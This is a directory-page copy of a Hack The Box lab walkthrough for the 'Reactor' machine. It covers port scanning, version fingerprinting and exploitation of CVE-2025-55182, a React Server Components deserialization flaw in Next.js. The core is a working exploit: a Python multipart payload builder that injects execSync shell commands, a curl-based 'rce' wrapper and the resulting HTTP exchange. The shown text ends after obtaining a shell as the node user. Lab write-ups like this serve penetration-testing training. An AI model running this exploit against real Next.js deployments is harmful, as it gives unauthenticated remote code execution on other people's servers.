Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
HTB-Reactor-Linux-Machine-Walkthrough — Full walkthrough of HTB's Reactor machine — exploit CVE-2025-55182 to gain a shell, then get root via an exposed Node.js debugger. Step-by-step with screenshots. | Kitploit
Tools/GitHubGitHub/sonnycroco/htb-reactor-linux-machine-walkthrough
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationCTFPenetration TestingLearning & Education

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Remote Access Tool
Labs & Practice
GitHubsonnycroco/htb-reactor-linux-machine-walkthrough

HTB-Reactor-Linux-Machine-Walkthrough

Full walkthrough of HTB's Reactor machine — exploit CVE-2025-55182 to gain a shell, then get root via an exposed Node.js debugger. Step-by-step with screenshots.

View Repository
1254 months agoNot yet reviewed

HTB: Reactor

Difficulty OS Status CVE CVSS


[!CAUTION] Spoiler warning. This is a full walkthrough including flags. If you want to solve the machine yourself, close this now and come back when you're stuck.


Machine Info

FieldDetails
NameReactor
OSUbuntu 24.04 LTS (Noble)
DifficultyMedium
CVECVE-2025-55182 (CVSS 10.0)
Ports22 (SSH), 3000 (Next.js)
Authorsonnycroco

Overview

Reactor is themed around a nuclear plant monitoring dashboard called ReactorWatch. The box is entirely about two vulnerabilities chained together, no guessing, no rabbit holes, no brute force.

The path: a pre-release React 19 build exposes a critical deserialization flaw that gives you unauthenticated remote code execution with a single HTTP request. From there, a Node.js debugging port running as root hands you full system access via a WebSocket message.

Attack chain:

Unauthenticated HTTP POST
        │
        │  CVE-2025-55182 - React RSC multipart deserialization
        ▼
  RCE as node (uid=999)
        │
        │  Root Node.js process with --inspect exposed on localhost
        ▼
  CDP Runtime.evaluate -> RCE as root (uid=0)
        │
        ├── user.txt ✓
        └── root.txt ✓

Table of Contents

  1. Step 1: Recon
  2. Step 2: Fingerprinting the Tech Stack
  3. Step 3: Exploiting CVE-2025-55182 (Unauthenticated RCE)
  4. Step 4: Poking Around as node
  5. Step 5: User Flag
  6. Step 6: Privilege Escalation
  7. Step 7: Root Flag
  8. Lessons Learned
  9. Remediation

Step 1: Recon

The first thing to do on any new machine is find out what's listening. A full port scan with service detection so nothing gets missed.

nmap -sV -sC -T4 -p- --min-rate 5000 10.129.8.56
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open  http    Next.js 15.0.3

Nmap scan results showing ports 22 and 3000 open with Next.js fingerprinted

Only two ports. SSH is a dead end at this stage since we have no credentials yet. Port 3000 is the target. Nmap already tells us it's Next.js 15.0.3, which is a good lead.


Step 2: Fingerprinting the Tech Stack

Before throwing exploits at anything, I want to know the exact version of everything running. The HTTP headers already revealed Next.js, but the React version is the critical detail. React 19 was in pre-release for a long time and had some serious issues before the stable release.

Pulling one of the client-side JavaScript chunks to check:

curl -s http://10.129.8.56:3000/_next/static/chunks/517-d083b552e04dead1.js \
  | grep -oP '[0-9]+\.[0-9]+\.[0-9]+-rc-[a-z0-9-]+'
19.0.0-rc-66855b96-20241106

That rc in the version string is the smoking gun. This is a release candidate build of React 19, not the stable version. CVE databases confirm: CVE-2025-55182 affects exactly this build. CVSS 10.0.

While here, I check the headers for middleware clues:

X-Powered-By: Next.js
x-nextjs-cache: HIT
x-nextjs-prerender: 1

No x-middleware-rewrite header anywhere, which means there is no Next.js middleware installed. This rules out CVE-2025-29927 (the middleware bypass), worth noting so you don't waste time on it.

What we know:

  • Next.js 15.0.3 with experimental.serverActions enabled
  • React 19.0.0-rc, vulnerable to CVE-2025-55182
  • App name: ReactorWatch (nuclear reactor sensor dashboard)
  • No middleware, so the middleware bypass CVE does not apply here

Technology fingerprinting showing React 19.0.0-rc detected and CVE-2025-55182 identified


Step 3: Exploiting CVE-2025-55182 (Unauthenticated RCE)

What the vulnerability is

React 19's Server Components introduced Server Actions, which are server-side functions callable by the client via HTTP POST with a Next-Action header. The multipart body parser that handles these requests has a critical flaw: it unsafely deserializes a reference type called $1:__proto__:then.

By crafting a multipart body that sets _response._prefix to arbitrary JavaScript, an attacker causes that code to be evaluated on the server. The output is then smuggled out via an exception Next.js uses internally for redirects (NEXT_REDIRECT), and ends up URL-encoded inside the x-action-redirect response header.

Any POST to any page with the Next-Action header triggers this. No auth check, no special endpoint. Just send the payload to / and you're in.

Building the exploit

A small Python helper that takes a shell command as input, builds the multipart payload, and writes it to disk for curl to send:

make_rce.py - payload builder
# /tmp/make_rce.py
import sys

cmd = ' '.join(sys.argv[1:])
cmd_esc = cmd.replace("\\", "\\\\").replace("'", "\\'")

payload = (
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="0"\r\n\r\n'
    + ('{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
       '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
       '"var res=process.mainModule.require(\'child_process\').execSync(\''
       + cmd_esc +
       '\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),'
       '{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2",'
       '"_formData":{"get":"$1:constructor:constructor"}}}').encode('utf-8')
    + b'\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="1"\r\n\r\n'
    b'"$@0"\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n'
    b'Content-Disposition: form-data; name="2"\r\n\r\n'
    b'[]\r\n'
    b'------WebKitFormBoundaryx8jO2oVc6SWP3Sad--'
)
with open('/tmp/rce_payload.bin', 'wb') as f:
    f.write(payload)

Wrapping everything in a shell function for a pseudo-shell feel:

rce() {
  python3 /tmp/make_rce.py "$*" > /dev/null
  curl -s -D /tmp/rh.txt -X POST "http://10.129.8.56:3000/" \
    -H "Next-Action: x" \
    -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
    --data-binary "@/tmp/rce_payload.bin" > /dev/null
  grep -oP 'x-action-redirect: /login\?a=\K[^;]+' /tmp/rh.txt \
    | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))"
}

The raw HTTP exchange. Command output is sitting right there in the redirect header:

POST / HTTP/1.1
Host: 10.129.8.56:3000
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

[... multipart body ...]

HTTP/1.1 303 See Other
x-action-redirect: /login?a=uid=999(node) gid=988(node) groups=988(node);push

Firing it

rce "id"
# uid=999(node) gid=988(node) groups=988(node)

We're in as the node service account. No authentication, no brute force, no social engineering. Just one HTTP POST. This is what a CVSS 10.0 looks like in practice.

Download Tool